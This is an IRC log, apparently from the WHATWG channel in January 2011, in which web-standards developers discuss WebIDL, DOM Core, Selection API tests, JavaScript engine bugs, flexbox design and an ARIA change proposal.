It seems like the path of least resistance at the moment is for browsers to implement the spec, because some have done so already (so it must be possible, and they might be resistant to rewriting their code) and there isn't agreement between them on preferring a different behaviour

[10:39:00.0000] <Philip`>
If you want different behaviour then probably the best approach is to talk to other browser developers and get them to agree the new behaviour is preferable and say they're willing to change their implementations to do that

[10:44:00.0000] <GPHemsley>
hsivonen: Do the validator changes apply to the website, or were those changes always implemented as they happened?

[10:56:00.0000] <AryehGregor>
Hixie, okay, I think I'm going to go read DOM Core and WebIDL before I do further work.  Those seem to come up a lot, I think they're probably necessary for me to write a reasonable spec.

[10:57:00.0000] <AryehGregor>
(I mean, reading them will be the next work I do, as part of speccing extends(), before I get back to writing actual spec text.)

[10:58:00.0000] <annevk>
let me know if you have any comments on http://dvcs.w3.org/hg/domcore/raw-file/tip/Overview.html

[10:58:01.0000] <AryehGregor>
Is that the one I should be reading, not DOM Core 3?

[10:58:02.0000] <AryehGregor>
"Obsoleting DOM Level 3 Core is not a goal. It is a fine specification for Java servers. Web DOM Core presents an alternative."

[10:58:03.0000] <AryehGregor>
I guess that suggests yes.  :)

[11:00:00.0000] <Ms2ger>
annevk, how about you push my changes? ;)

[11:01:00.0000] <AryehGregor>
Looks like I should read WebIDL first, since that's a dependency.

[11:01:01.0000] <annevk>
yeah, makes sense

[11:03:00.0000] <annevk>
Ms2ger, done

[11:03:01.0000] <Ms2ger>
Yay :)

[11:08:00.0000] <annevk>
http://dvcs.w3.org/hg/domcore/raw-file/tip/Overview.html#exception-domexception should we nuke the <ol> or use <li value=25>?

[11:09:00.0000] <TabAtkins>
The latter.

[11:10:00.0000] <Ms2ger>
Oh right, forgot to make it ul's

[11:28:00.0000] <Hixie>
AryehGregor: seems reasonable!

[11:29:00.0000] <Hixie>
AryehGregor: i'll start reviewing those tests you mentioned when i get to work

[11:29:01.0000] <AryehGregor>
Hixie, k.

[11:43:00.0000] <AryehGregor>
Blech, WebIDL specifies out-of-range values should wrap instead of clamping.  Is that really needed for web compat?

[11:44:00.0000] <Ms2ger>
WebKit did that for select.add iirc

[11:44:01.0000] <jamesr_>
AryehGregor: it's pretty retarded and iirc we don't do that currently for things in canvas

[11:44:02.0000] <jamesr_>
i'd really like to know why it says that

[11:45:00.0000] <annevk>
heycam, ^^

[11:45:01.0000] <AryehGregor>
/me only just figured out that heycam is Cameron McCormack

[11:46:00.0000] <annevk>
fwiw, WebIDL has a Bugzilla component just like HTML5

[11:46:01.0000] <AryehGregor>
I know.

[11:46:02.0000] <AryehGregor>
I'm keeping the "New Bug" form open in a tab to accumulate typo fixes.

[11:48:00.0000] <heycam>
AryehGregor, that might change, yeah

[11:48:01.0000] <heycam>
AryehGregor, yeah please file a bug

[11:48:02.0000] <AryehGregor>
k.

[11:49:00.0000] <heycam>
for canvas it's bad to wrap, as someone (bz?) pointed out, since you can easily go to completely different colours with a small value change

[11:49:01.0000] <heycam>
there are some built-in things in the ES spec that do wrap

[11:49:02.0000] <heycam>
(whenever there's a ToUint32, for example)

[11:51:00.0000] <AryehGregor>
http://www.w3.org/Bugs/Public/show_bug.cgi?id=11749

[11:51:01.0000] <heycam>
thanks!

[12:12:00.0000] <foolip_>
gsnedders, yt?

[12:13:00.0000] <gsnedders>
foolip_: yeah

[12:13:01.0000] <foolip_>
is http://gsnedders.html5.org/outliner/ the outliner used by anolis?

[12:13:02.0000] <gsnedders>
foolip_: Well, it's an old fork of it

[12:13:03.0000] <foolip_>
and is the code for that process.py available and easy for me to reuse?

[12:14:00.0000] <gsnedders>
I keep meaning on publishing the code :P

[12:14:01.0000] <foolip_>
does it just figure out the section headings, or does it also find which nodes belong to which section?

[12:15:00.0000] <gsnedders>
Just the former, AFAIK

[12:15:01.0000] <foolip_>
in any case, do you have the code so I can see if I could reuse some?

[12:15:02.0000] <gsnedders>
I started hacking it once to do both

[12:16:00.0000] <foolip_>
by email would be fine if you don't want to clean it up for the world to see :)

[12:16:01.0000] <gsnedders>
http://hg.gsnedders.com/anolis2/file/0ae85731c3ae/src/lib/processes/toc.py is basically the anolis2 code for it

[12:16:02.0000] <gsnedders>
Which has a lot less other stuff mixed in with it, so almost certainly the outliner could quite trivially be moved to using that

[12:18:00.0000] <foolip_>
first pass to actually build the outline is what I want then I suppose

[12:18:01.0000] <foolip_>
ok, I'll have a look

[12:18:02.0000] <foolip_>
btw, Nga tells me you said some pleasant words on Facebook, and you're welcome :)

[12:18:03.0000] <foolip_>
/me mostly reads Facebook by proxy

[12:19:00.0000] <AryehGregor>
annevk, where should I send feedback about Web DOM Core?

[12:19:01.0000] <Ms2ger>
p-webapps

[12:19:02.0000] <Ms2ger>
Read the sotd ;)

[12:19:03.0000] <AryehGregor>
Blech, another mailing list.

[12:20:00.0000] <AryehGregor>
No Bugzilla component.  Oh well.

[12:20:01.0000] <Ms2ger>
I guess whatwg would work to

[12:21:00.0000] <foolip_>
gsnedders, your web service outliner tells me 500 Internal Server Error when trying to outline complete.html :)

[12:21:01.0000] <AryehGregor>
I guess I'll have to sign up to public-webapps eventually.

[12:22:00.0000] <AryehGregor>
But I'll put it off for a while longer.

[12:23:00.0000] <AryehGregor>
annevk, is mail to whatwg okay for DOM Core feedback?

[12:25:00.0000] <annevk>
AryehGregor, sure

[12:26:00.0000] <AryehGregor>
k.

[12:26:01.0000] <annevk>
AryehGregor, or public-webapps

[12:26:02.0000] <annevk>
oh, you're not on public-webapps

[12:26:03.0000] <AryehGregor>
Nope, not yet.

[12:26:04.0000] <annevk>
MikeSmith, you around? if you are, can you make a bugzilla component for DOM Core ?

[13:33:00.0000] <gsnedders>
If arguments.caller is undefined does that imply the function was called from a timer, or event, or some such?

[13:36:00.0000] <bga_>
i guess, yes

[13:37:00.0000] <bga_>
but may be just js engine does not supports arguments.caller :)

[13:37:01.0000] <gsnedders>
Nah, definitely not that. :)

[13:37:02.0000] <bga_>
because its has deprecated

[13:37:03.0000] <gsnedders>
The web would break in a big way if you dropped it.

[13:38:00.0000] <gsnedders>
Trying to access it throws in strict mode, though

[13:38:01.0000] <gsnedders>
/me simply does not understand where this function call is coming from

[13:42:00.0000] <bga_>
gsnedders `try{ throw ''} catch(err) { console.log(err.stack) }` iirc

[13:43:00.0000] <bga_>
or console.trace if engine supports it

[13:43:01.0000] <gsnedders>
bga_: FWIW, in everything but Carakan you don't need to actually throw the exception to get the stack

[13:44:00.0000] <gsnedders>
(The stack is that of where the error is created in SpiderMonkey/V8, and where the error is thrown in Carakan)

[13:51:00.0000] <bga_>
gsnedders how can i get stacktrace in opera. Say me please :)

[13:52:00.0000] <miketaylr>
console.trace() sort of works using the experimental dragonfly

[13:53:00.0000] <gsnedders>
bga_: alert(Error().stack) or alert(Error().stacktrace) both work

[13:53:01.0000] <bga_>
thanks

[13:53:02.0000] <bga_>
/me notes

[13:54:00.0000] <gsnedders>
bga_: What you quoted above works too

[13:54:01.0000] <jamesr_>
why not use a real debugger?

[13:54:02.0000] <gsnedders>
bga_: It's just needlessly verbose

[13:55:00.0000] <gsnedders>
jamesr_: In my case? Because it disables JIT, which is rather useless for debugging JIT bugs :)

[13:57:00.0000] <bga_>
miketaylr is opera still buggy with >>> operator?

[13:58:00.0000] <miketaylr>
bga_: no idea ;)

[13:58:01.0000] <gsnedders>
bga_: With 0 on RHS? No.

[13:59:00.0000] <gsnedders>
Fixed in 2.6.34/2.7.34

[13:59:01.0000] <bga_>
good

[14:00:00.0000] <gsnedders>
There is however a bug with 0 on the RHS of signed shift on ARM JIT

[14:00:01.0000] <gsnedders>
(unlike the other bug, the LHS has to be non-immediate)

[14:03:00.0000] <gsnedders>
e.g., Math.cos(0) >> 0 returns 0 and not 1

[14:06:00.0000] <bga_>
gsnedders i use `str.slice(0, str.indexOf('foo') >>> 0)` pattern often

[14:08:00.0000] <TabAtkins>
I don't understand the function of that pattern.

[14:08:01.0000] <bga_>
-1 >>> 0  == UINT_MAX

[14:09:00.0000] <TabAtkins>
Ah, got it.

[14:09:01.0000] <TabAtkins>
So, when the substring is missing, you want the whole thing?

[14:09:02.0000] <bga_>
yes

[14:09:03.0000] <jamesr_>
clever

[14:09:04.0000] <TabAtkins>
Oh, well duh.  You're slicing everything before the substring.

[14:11:00.0000] <gsnedders>
Or if you believe what Carakan used to do when that was JITed, -1 >>> 0 == -1

[14:13:00.0000] <MikeSmith>
annevk: here now

[14:15:00.0000] <Hixie>
AryehGregor: nice tests

[14:16:00.0000] <AryehGregor>
Hixie, are you able to spot any tests that any browser fails or passes in the second or third test where it gets the opposite outcome in the first test?

[14:16:01.0000] <Hixie>
not so far

[14:16:02.0000] <Hixie>
which is good :-)

[14:17:00.0000] <annevk>
MikeSmith, hey, wanted to ask for a Bugzilla component for DOM Core and CSSOM

[14:17:01.0000] <annevk>
MikeSmith, and also, I guess, why HTML5 has not been published

[14:17:02.0000] <Hixie>
AryehGregor: i guess either these selections apis are really well implemented, or we'll have to try harder to find bugs :-)

[14:17:03.0000] <MikeSmith>
annevk: publishing delay is as usual because of me

[14:18:00.0000] <AryehGregor>
Hixie, there are bugs all over the place, but I doubt there are too many in mapping user selection to Selection objects.

[14:18:01.0000] <AryehGregor>
Probably some, but given how hard that is to test right now, I don't think it's worth focusing on.

[14:18:02.0000] <annevk>
AryehGregor, did you play with CSS styling, newlines in the DOM, white-space:pre, etc.?

[14:18:03.0000] <Hixie>
AryehGregor: yeah, these tests are probably reasonable until we have a better automation story

[14:18:04.0000] <MikeSmith>
annevk: we want "Web DOM Core", right?

[14:18:05.0000] <AryehGregor>
No, and I'm sure I could find some inconsistencies if I did.  (Hard to call them "bugs" when it's not specified.)

[14:18:06.0000] <annevk>
AryehGregor, e.g. a display:none block in the middle of a selection

[14:19:00.0000] <annevk>
MikeSmith, lets call it "DOM Core"

[14:19:01.0000] <MikeSmith>
ok

[14:19:02.0000] <Hixie>
annevk: those are more about the api than interactive user selections

[14:19:03.0000] <AryehGregor>
But the programmatic interfaces are likely to have vastly more inconsistencies, since they're so much more complicated.

[14:19:04.0000] <AryehGregor>
Yeah, something with display: none should be detectable programmatically.

[14:19:05.0000] <Hixie>
annevk: so they'll end up being tested more once AryehGregor has done more work in defining the rest of the api ;-)

[14:19:06.0000] <annevk>
fair enough

[14:19:07.0000] <Hixie>
or possibly just before, so he knows what to spec :-)

[14:20:00.0000] <annevk>
I didn't actually check any test. Just mentioned a few known issues

[14:20:01.0000] <Hixie>
right, back to http://wiki.whatwg.org/wiki/Change_Proposal_for_ISSUE-129

[14:20:02.0000] <annevk>
I think Selection is sort of a minefield. Much like innerText

[14:21:00.0000] <Hixie>
hopefully exactly like innerText

[14:22:00.0000] <MikeSmith>
annevk: http://www.w3.org/Bugs/Public/describecomponents.cgi?product=WebAppsWG (done for DOM Core)

[14:23:00.0000] <MikeSmith>
annevk: CSS WG has no product within bugzilla

[14:23:01.0000] <annevk>
MikeSmith, hmm, can you move components later? I would not mind it being part of WebApps for now for instance

[14:24:00.0000] <annevk>
just so that people can log requests and Hixie can reassign html5 stuff that ought to be "cssom"

[14:24:01.0000] <annevk>
MikeSmith, and many thanks btw

[14:25:00.0000] <MikeSmith>
ok

[14:25:01.0000] <MikeSmith>
/me adding now

[14:28:00.0000] <MikeSmith>
annevk: URL for editors version of CSSOM?

[14:28:01.0000] <MikeSmith>
http://dev.w3.org/csswg/cssom/ ?

[14:29:00.0000] <annevk>
yeah

[14:29:01.0000] <MikeSmith>
should move that to dvcs…

[14:29:02.0000] <MikeSmith>
anyway, I'll put that for now

[14:29:03.0000] <annevk>
most of my specs are still on dev.w3.org

[14:29:04.0000] <MikeSmith>
CSSOM arguably should be in WebApps anyway

[14:31:00.0000] <MikeSmith>
k

[14:31:01.0000] <MikeSmith>
added

[14:31:02.0000] <MikeSmith>
http://www.w3.org/Bugs/Public/describecomponents.cgi?product=WebAppsWG

[14:32:00.0000] <MikeSmith>
not to start anything, but that spec really should be renamed

[14:33:00.0000] <annevk>
file a bug?

[14:33:01.0000] <MikeSmith>
back to DOM Style

[14:33:02.0000] <MikeSmith>
or something

[14:33:03.0000] <MikeSmith>
no

[14:34:00.0000] <Hixie>
i recommend you name it HTML5

[14:34:01.0000] <Hixie>
that way it'll move the heat away from the web apps 1.0 spec

[14:34:02.0000] <MikeSmith>
as much as I do love to get into a little bikeshedding now and then

[14:35:00.0000] <MikeSmith>
wink wink nudge nudge

[14:35:01.0000] <Hixie>
you're saying you think it should be called BikeShedOM?

[14:35:02.0000] <Hixie>
i could get behind that

[14:35:03.0000] <MikeSmith>
heh

[14:35:04.0000] <MikeSmith>
me too

[14:35:05.0000] <MikeSmith>
wink wink nudge nudge

[14:35:06.0000] <MikeSmith>
get behind it

[14:35:07.0000] <annevk>
it's fairly CSS-specific, so DOM CSS could be it I suppose, but really most of it is about an object model for CSS

[14:35:08.0000] <Hixie>
all right, i printed their proposal and their CP, now i just have to go through it line by line and make sure anything wrong is mentioned in the CCP

[14:36:00.0000] <annevk>
the ideal way this would be solved is by the big CSS rewrite

[14:36:01.0000] <Hixie>
that'd be nice

[14:37:00.0000] <Hixie>
i think i just heard anne volunteer, too

[14:37:01.0000] <annevk>
much like instead of SVG and DOM SVG we have SVG; instead of HTML and DOM HTML we have HTML; instead of CSS and CSSOM we have ... well

[14:38:00.0000] <annevk>
I see it is time to hide

[14:39:00.0000] <MikeSmith>
good thinking

[14:39:01.0000] <MikeSmith>
that last part

[14:39:02.0000] <MikeSmith>
about hiding

[14:40:00.0000] <MikeSmith>
foolish consistency is the hobgoblin of little minds

[14:40:01.0000] <MikeSmith>
the platform itself of riddled with inconsistencies

[14:40:02.0000] <MikeSmith>
as are the people and groups who created it

[14:40:03.0000] <MikeSmith>
thus, the organization of the specs

[14:41:00.0000] <MikeSmith>
somebody should write some kind of axiom or law or something about that

[14:44:00.0000] <karlcow>
MikeSmith: Would it have a OM?

[14:45:00.0000] <MikeSmith>
karlcow: no, but maybe a Way or or a 道

[14:45:01.0000] <annevk>
"Please leave your sense of logic at the door, thanks!"

[14:45:02.0000] <karlcow>
aaaah not a ॐ

[14:46:00.0000] <karlcow>
Om̐

[14:46:01.0000] <MikeSmith>
maybe we could call it the Law of コン道

[14:46:02.0000] <karlcow>
:D

[14:47:00.0000] <karlcow>
which without doubt gives in French, "the way of men" La voie des hommes

[14:47:01.0000] <MikeSmith>
http://translate.google.com/#en|ja|%E3%82%B3%E3%83%B3%E9%81%93

[14:48:00.0000] <MikeSmith>
oofs

[14:49:00.0000] <MikeSmith>
http://translate.google.com/#ja|en|%E3%82%B3%E3%83%B3%E9%81%93

[14:49:01.0000] <annevk>
"con way"

[14:49:02.0000] <karlcow>
la voie des cons est moins prosaique ;)

[14:49:03.0000] <MikeSmith>
Kon-dō

[14:50:00.0000] <karlcow>
I wonder if wikitionary has a good translation of con

[14:50:01.0000] <karlcow>
http://fr.wiktionary.org/wiki/con

[14:51:00.0000] <karlcow>
he can mean moron or cunt depending on the circumstance

[14:52:00.0000] <karlcow>
s/he/it

[14:53:00.0000] <MikeSmith>
La voie de l'échec

[14:54:00.0000] <Hixie>
hey, guys, can we keep the language less offensive (in any language)?

[14:55:00.0000] <karlcow>
ah cultural clash

[14:55:01.0000] <karlcow>
/me will comply

[14:55:02.0000] <Hixie>
the last thing we need is this channel's rude language getting quoted in the Times or something

[14:55:03.0000] <Hixie>
thanks

[14:55:04.0000] <annevk>
I think that would be hilarious

[14:56:00.0000] <annevk>
and probably less damaging PR-wise than saying we're done in 2022 :p

[14:56:01.0000] <MikeSmith>
we say far more offensive things here often I suppose

[14:56:02.0000] <MikeSmith>
I do at least

[14:57:00.0000] <MikeSmith>
the rest of you guys are just too nice all the time

[14:57:01.0000] <karlcow>
:p

[14:58:00.0000] <MikeSmith>
you should try sometimes saying something tactless and undiplomatic

[14:58:01.0000] <MikeSmith>
now that would be novel

[14:58:02.0000] <MikeSmith>
break some new ground

[15:00:00.0000] <AryehGregor>
/me was very confused just now when he saw an e-mail to "me, whatwg, Alan" and it turned out that "me" was the mailbox part of someone's e-mail address, not Gmail's way of referring to the user

[15:10:00.0000] <AryehGregor>
TabAtkins, what was the objection to using a fl unit for \

[15:10:01.0000] <AryehGregor>
TabAtkins, what was the objection to using a fl unit for flexbox again?

[15:11:00.0000] <AryehGregor>
It's more or less the way TeX does it, and TeX's design here is very elegant and powerful.

[15:11:01.0000] <AryehGregor>
A separate property seems confusing, because it makes "width" mean something strange.

[15:11:02.0000] <TabAtkins>
AlexMog didn't want to introduce a specialized unit just for Flexbox, that has no meaning outside of it.

[15:11:03.0000] <AryehGregor>
What do you mean, no meaning outside of it?

[15:11:04.0000] <TabAtkins>
<div display:block; width:1fl;> is meaningless.

[15:12:00.0000] <AryehGregor>
And not only because it parses as a div with two attributes "display:block;" and "width:1fl;" whose values are both the empty string, I take it.

[15:12:01.0000] <AryehGregor>
Hmm.

[15:12:02.0000] <TabAtkins>
Yes, of course.  That's just a shorthand.

[15:12:03.0000] <AryehGregor>
I guess TeX's entire layout system is based around flex ("glue"), which is why it can get away with allowing flex for all sizes.

[15:13:00.0000] <TabAtkins>
Yup.

[15:13:01.0000] <AryehGregor>
But there's no obvious way to shoehorn flex into existing CSS layout models?  Why don't you just say that when doing a width or height computation, you use the flexbox algorithm instead of the regular one if there's any flex present?

[15:13:02.0000] <TabAtkins>
Of course, we can give it meaning outside of Flexbox, but it'll be arbitrary.  I support just having it resolve to "0px", frex.

[15:13:03.0000] <TabAtkins>
No, several things mess up the simplicity of flexbox's algorithm.  Floats, for example.

[15:14:00.0000] <TabAtkins>
If I could, I'd just bolt flex onto the existing block layout.  But it's just not possible without an explosion of crazy.

[15:14:01.0000] <AryehGregor>
Hmm.

[15:14:02.0000] <AryehGregor>
Existing block layout is really horrible, though.

[15:15:00.0000] <Hixie>
explosion is right

[15:15:01.0000] <TabAtkins>
Agreed.

[15:15:02.0000] <AryehGregor>
It would be nice if it could be mostly replaced by something flex-based.

[15:15:03.0000] <AryehGregor>
I mean, without removing the old stuff, obviously.

[15:15:04.0000] <TabAtkins>
Maybe in Flexbox v2. ^_^

[15:15:05.0000] <Hixie>
you really want any new system to be completely orthogonal to the existing one, with anything that falls into the existing one being quickly isolated in a root formatting context or whatever the term is

[15:16:00.0000] <AryehGregor>
Yeah, that's what we should ideally be aiming for, IMO.

[15:16:01.0000] <Hixie>
also this would be a good time to point out the mistake of having display, float, and position bseparate properties :-)

[15:16:02.0000] <AryehGregor>
Basically a totally different system, where they fit together by just being opaque blocks nested in one another.

[15:16:03.0000] <TabAtkins>
That isolation is essentially what we're doing with all the new layout modes.

[15:16:04.0000] <AryehGregor>
How many do you need?

[15:16:05.0000] <TabAtkins>
I'm working out with Flexbox just what the minimal connection between the layout modes is, so I can document it and spread the same to others.

[15:17:00.0000] <Hixie>
man, the more i look at this issue 129 CP the more horrified i'm becoming

[15:17:01.0000] <TabAtkins>
Apparently, several.

[15:17:02.0000] <TabAtkins>
Block layout, table layout, flexbox layout, and grid alignment/template so far.

[15:17:03.0000] <AryehGregor>
:/

[15:17:04.0000] <TabAtkins>
Each exposes different sets of constraints.

[15:17:05.0000] <AryehGregor>
I vote for cloning TeX's layout system.

[15:18:00.0000] <AryehGregor>
Because TeX's layout system is awesome in every imaginable way.

[15:18:01.0000] <TabAtkins>
Gods no.  That's impossibly computationally expensive.

[15:18:02.0000] <AryehGregor>
Really?  Why?

[15:18:03.0000] <AryehGregor>
It worked on 1980s computers.

[15:18:04.0000] <TabAtkins>
Because TeX is computationally expensive?

[15:18:05.0000] <TabAtkins>
Yes, but a browser isn't a static document.

[15:19:00.0000] <AryehGregor>
What's so expensive about it?

[15:19:01.0000] <TabAtkins>
There's a reason we don't do even "simple" things like adopting TeX's justification algorithms.

[15:19:02.0000] <Hixie>
i was just about to say, imagine doing tex justification with :hover rules changing the constraints

[15:19:03.0000] <AryehGregor>
You mean hyphenation?

[15:19:04.0000] <Hixie>
tex justification is done at the paragraph level, not the line level

[15:19:05.0000] <TabAtkins>
No, justification.  TeX does fancy justification.  Hyphenation does play into that.

[15:19:06.0000] <AryehGregor>
Hmm, yeah, it does.

[15:20:00.0000] <TabAtkins>
Hixie: Even worse, Transitions on width triggered by :hover.

[15:20:01.0000] <AryehGregor>
It's kind of obnoxious that static content display has to be degraded so much to account for edge cases where the page is dynamic.

[15:20:02.0000] <AryehGregor>
HTML line-breaking and hyphenation is a shambles.

[15:20:03.0000] <TabAtkins>
Dynamic pages aren't an edge case.  ^_^

[15:21:00.0000] <AryehGregor>
Are too.  The vast majority of pages don't have text being dynamically added or removed from paragraphs after initial page setup.

[15:21:01.0000] <TabAtkins>
There's nothing preventing us from offering expensive things as only valid within print, except for the low benefit.

[15:22:00.0000] <jamesr_>
you never resize your browser window?

[15:22:01.0000] <AryehGregor>
jamesr_, no, I use it full-screen.  But even if I did, I wouldn't do it more than once every few minutes.

[15:25:00.0000] <AryehGregor>
"Various browsers allow timeouts up to some small level of nesting to run arbitrarily quickly; that started because it happens to make JSBench run faster due to the broken way that benchmark is constructed."  :(  Yay benchmarks.

[15:26:00.0000] <TabAtkins>
Yay, apparently my video/canvas demos will work in internal IE9 now.

[15:26:01.0000] <TabAtkins>
Or rather, they'll work when I switch to using closures in my setTimeout instead of argument forwarding.

[15:26:02.0000] <TabAtkins>
The important parts will work.

[15:39:00.0000] <AryehGregor>
Hixie, so when reverse-engineering, if Firefox throws some NS_SOMETHING_ERR exception, should I pick the most reasonable-looking DOMException and say to throw that instead?

[15:39:01.0000] <Hixie>
seems reasonable

[15:40:00.0000] <AryehGregor>
Does anyone know how old the Selection stuff is?  Are we talking Netscape days or more recent?

[15:41:00.0000] <AryehGregor>
/me is trying to figure out how much stuff is likely to depend on Firefox's behavior vs. WebKit's or Opera's

[15:41:01.0000] <AryehGregor>
If it's very old and WebKit only reverse-engineered it recently, I should really favor Firefox heavily for compat.

[15:42:00.0000] <Hixie>
i'd expect it was new with gecko, but that's just a wild guess

[15:45:00.0000] <bckenny>
TabAtkins: wait, drawing a video in canvas in IE9 no longer sets origin-clean to false?

[15:45:01.0000] <TabAtkins>
bckenny: I dunno, haven't tried it myself yet.  Just heard through the grapevine that my demos work now.

[15:45:02.0000] <karlcow>
http://geekandpoke.typepad.com/geekandpoke/2011/01/conversation-gaps.html

[15:46:00.0000] <bckenny>
nice

[15:49:00.0000] <gsnedders>
AryehGregor: Don't copy us, Firefox/WebKit's behaviour around edge-cases is relied upon by, e.g., Facebook causing some stuff to break in Opera :(

[15:49:01.0000] <AryehGregor>
gsnedders, okay, noted.

[15:50:00.0000] <webr3>
http://rim.jobs

[15:51:00.0000] <TabAtkins>
Holy crap.

[15:51:01.0000] <webr3>
i know lol - Research In Motions nice new job site - marketing fail or what

[15:55:00.0000] <Hixie>
one has to assume that they are not oblivious to this... they'll probably get all kinds of viral marketing

[15:55:01.0000] <Hixie>
as e.g. above :-)

[15:56:00.0000] <Hixie>
man, working on this CP is positively draining

[15:57:00.0000] <hober>
Hixie: when is it due? I have yet to chip in, but will be able to help out a bunch on it early/mid next week

[15:57:01.0000] <Hixie>
17th i think

[15:57:02.0000] <hober>
errr

[15:58:00.0000] <hober>
hmm. I dunno if I'll be able to do much with it before then

[15:58:01.0000] <Hixie>
k

[15:58:02.0000] <Hixie>
well if anyone else wants to jump in, be my guest :-)

[15:58:03.0000] <hober>
18/19/20th would be a different story

[15:58:04.0000] <Hixie>
http://wiki.whatwg.org/wiki/Change_Proposal_for_ISSUE-129


2011-01-14
[16:09:00.0000] <AryehGregor>
So it seems like in Firefox, Selections aren't actually associated with a document, but rather with a window.

[16:09:01.0000] <AryehGregor>
This actually makes sense.

[16:10:00.0000] <dglazkov>
yeeehaa

[16:10:01.0000] <dglazkov>
sorry, wrong window.

[16:10:02.0000] <dglazkov>
but somehow still appropriate :)

[16:11:00.0000] <AryehGregor>
"yeeehaa" is always appropriate.

[16:13:00.0000] <dglazkov>
or Leeeroooy

[17:21:00.0000] <AryehGregor>
What unsung genius decided that Python needed its own (broken and poorly-designed) package management system instead of integrating with the standard ones everyone uses?

[17:21:01.0000] <AryehGregor>
sudo easy_install lxml has now not only failed repeatedly because non-Python dependencies weren't present, it then spent several minutes compiling something or other from source.

[17:21:02.0000] <AryehGregor>
Now I just hope it works.

[17:24:00.0000] <AryehGregor>
Wait a sec, does the DOM Range spec only compile using Ms2ger's forked version of Anolis?

[17:24:01.0000] <AryehGregor>
. . .

[17:24:02.0000] <AryehGregor>
Okay, I guess I'll ask him when he shows up.  I'll call it a day and start writing tests if I don't figure out how to get the spec to work.

[17:25:00.0000] <Hixie>
can't go wrong writing tests ;-)

[17:25:01.0000] <Hixie>
/me has just tripped over a part of the ISSUE-129 change proposal that has _so many_ errors he doesn't know what to do about it

[17:26:00.0000] <AryehGregor>
Hixie, make your counter-proposal end something like this?  http://stackoverflow.com/questions/1732348/regex-match-open-tags-except-xhtml-self-contained-tags/1732454#1732454

[17:26:01.0000] <Hixie>
(e.g. accordngy to the a11y tf, apparently aria-checked="true" must be set on any checkbox whose _default_ state is checked!)

[17:27:00.0000] <Hixie>
AryehGregor: very tempted. Though the spec already has a zalgo reference. ;-)

[17:27:01.0000] <TabAtkins>
wut

[17:27:02.0000] <Hixie>
also they don't say it should be =true, they should say it should "match the state", without saying what that means

[17:28:00.0000] <AryehGregor>
Does anyone else here only reliably notice it's their birthday when all the vBulletin forums they're a member of send them a happy birthday e-mail?

[17:28:01.0000] <AryehGregor>
Because I just realized that's the case for me, which is sad.

[17:29:00.0000] <TabAtkins>
Where are you seeing that, Hixie?

[17:29:01.0000] <Philip`>
AryehGregor: Happy birthday

[17:29:02.0000] <Hixie>
also according to this CP you are _not allowed_ to ever set aria-multiselectable="false" on a <select> even if the <select> has no multiple="" attribute

[17:29:03.0000] <Philip`>
/me falls for AryehGregor's subtle ploy

[17:29:04.0000] <Hixie>
TabAtkins: the trove of errors that is the "WAI-ARIA to HTML attribute mapping" table

[17:29:05.0000] <AryehGregor>
:P

[17:30:00.0000] <TabAtkins>
Hixie: Yeah, I'm looking at the input[type=checkbox] section of the table right now.

[17:30:01.0000] <AryehGregor>
If I don't even remember it's my own birthday, I'm hardly going to fish for happy birthdays.  I was aware it was sometime around here, just didn't think about the exact day . . .

[17:30:02.0000] <AryehGregor>
:P

[17:30:03.0000] <Hixie>
pretty much every row of that table has at least one mistake

[17:30:04.0000] <Hixie>
i'm not gonna list them all in the CCP, i'd be here forever

[17:31:00.0000] <TabAtkins>
Hixie: Are you looking at http://www.paciellogroup.com/blog/misc/HTML5/aria-html5-proposal.html ?

[17:32:00.0000] <TabAtkins>
Oh, I see, you're reading the lower table.

[17:33:00.0000] <Hixie>
yeah, sorry for being unclear

[17:33:01.0000] <TabAtkins>
Right, that lower table has several mistakes.

[17:34:00.0000] <AryehGregor>
I'd offer to help, but I know absolutely nothing about ARIA.

[17:34:01.0000] <AryehGregor>
Also, I have to go to bed and should stop procrastinating about that, so good night.

[17:50:00.0000] <jamesr_>
Hixie: you should reply that the change proposal is not accessible to people with brains

[17:57:00.0000] <TabAtkins>
Btw, I'll go ahead and write the Issue-130 CP next week or so.

[18:08:00.0000] <Hixie>
TabAtkins: cool. let me know if you need help, happy to help with that one.

[18:11:00.0000] <wirepair>
2/win 3

[18:11:01.0000] <wirepair>
!

[18:11:02.0000] <TabAtkins>
No, I think it'd be pretty simple.  (1) Tables for layout are still bad for many reasons [list reasons].

[18:15:00.0000] <othermaciej>
note that "X is bad" is not necessarily sufficient to prove "it's better for X to be noncomforming"

[18:16:00.0000] <TabAtkins>
True, but it may be sufficient for "This one 'improvement' isn't enough to justify making them conforming."

[18:23:00.0000] <othermaciej>
you'd have to translate the "X is bad" into what effects occur when X is conforming vs. nonconforming

[18:23:01.0000] <othermaciej>
presumably there is some marginal effect on willingness of authors to use X, at least for authors who are aware of and care about non-machine-checkable criteria

[19:24:00.0000] <karlcow>
/me discovering rowspan="0" http://reference.sitepoint.com/html/th/rowspan

[19:24:01.0000] <karlcow>
weird

[19:25:00.0000] <karlcow>
"There is also a special value of "0", which should tell the browser to span the cell to the end of all rows inside the current rowgroup (that is, the thead, tfoot, or tbody)."

[19:25:01.0000] <karlcow>
"Browser support for rowspan is generally good, with one exception—rendering rowspan="0". Firefox and Opera are the only browsers tested that correctly span the cell to which this attribute is applied across all subsequent rows; the other browsers tested render the cell in the first row only."

[21:26:00.0000] <Hixie>
TabAtkins: the table thing has at least two other pretty important points to include: first, that no version of HTML has ever allowed layout tables in the first place, so it's not like we're making old valid code invalid, and second, that making tables-for-layout ok would undo literally a decade or more of advocacy, which would seriously harm the credibility of the effort with early adopters and advocates

[21:39:00.0000] <hsivonen>
Hixie: the TF hasn't yet quite figured out what problem it is trying to solve, but it is trying to come up with a list of use cases to consider

[21:41:00.0000] <hsivonen>
GPH-Zeke: the validator has been updated piecemeal and is always at or near the tip of the tree

[21:42:00.0000] <hsivonen>
MikeSmith: window.parseHtmlDocument(inputText, documentObject, callbackWhenDone, nullPlaceHolderForErrorCallback);

[21:43:00.0000] <MikeSmith>
hsivonen: thanks

[21:43:01.0000] <GPHemsley>
hsivonen: K, thanks.

[22:14:00.0000] <Hixie>
hsivonen: interesting

[22:14:01.0000] <Hixie>
hsivonen: is there a draft of those use cases anywhere?

[22:20:00.0000] <MikeSmith>
hsivonen: I've checked in patches for all the remaining validator bugs/enhancements I had open for now

[22:21:00.0000] <MikeSmith>
if you could please redeploy today or soon, I will also redeploy the HTML5 backends on all the W3C validator hosts so we can have those synced up

[22:33:00.0000] <hsivonen>
MikeSmith: I'll redeploy today

[22:33:01.0000] <MikeSmith>
cool

[22:33:02.0000] <MikeSmith>
thanks

[22:33:03.0000] <hsivonen>
Hixie: http://lists.w3.org/Archives/Public/public-html-xml/2010Dec/0064.html

